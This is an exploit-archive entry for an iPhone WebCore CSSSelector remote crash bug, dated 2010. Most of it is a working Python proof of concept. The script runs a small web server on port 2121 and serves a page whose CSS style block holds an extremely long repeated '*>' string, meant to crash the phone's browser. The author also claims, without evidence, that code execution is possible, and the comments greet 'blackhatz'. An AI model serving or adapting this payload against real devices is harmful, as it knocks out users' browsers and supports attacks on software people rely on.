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iPhone WebCore::CSSSelector() Remote Crash Vulnerability

Author
t12
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-11073
Category
dos / poc
Date add
24-02-2010
Platform
unsorted
========================================================
iPhone WebCore::CSSSelector() Remote Crash Vulnerability
========================================================

#!/usr/bin/python
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#             ""**MMMMhx/.h/ .=*"
#                      .3P"%....
#             [t12]  nP"     "*MMnx
 
#           SMOKE WEED
#greetz to my blackhatz and baycatz
#iPhone CSS::Selector crash
#this Python script acts as a web server and sends a malformed long string to the CSS <style> tag
#this is a remote crash bug, hoever an analysis of the debug dump shows remote code execution capability, I am just lazy
 
import sys, socket;
 
def main():
    junk = "*>" * 120000;
     
    html = """
        <html>
        <head>
        <style type="text/css">
        """;
 
    html += junk;
 
    html += """
        body {background: blue;}
        </style>
        </head>
        </html>
        """;
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
    s.bind(('',2121));
    s.listen(1);
     
    while True:
        channel, details = s.accept();
        print channel.recv(1024);
        channel.send(html);
        channel.close();
 
main();



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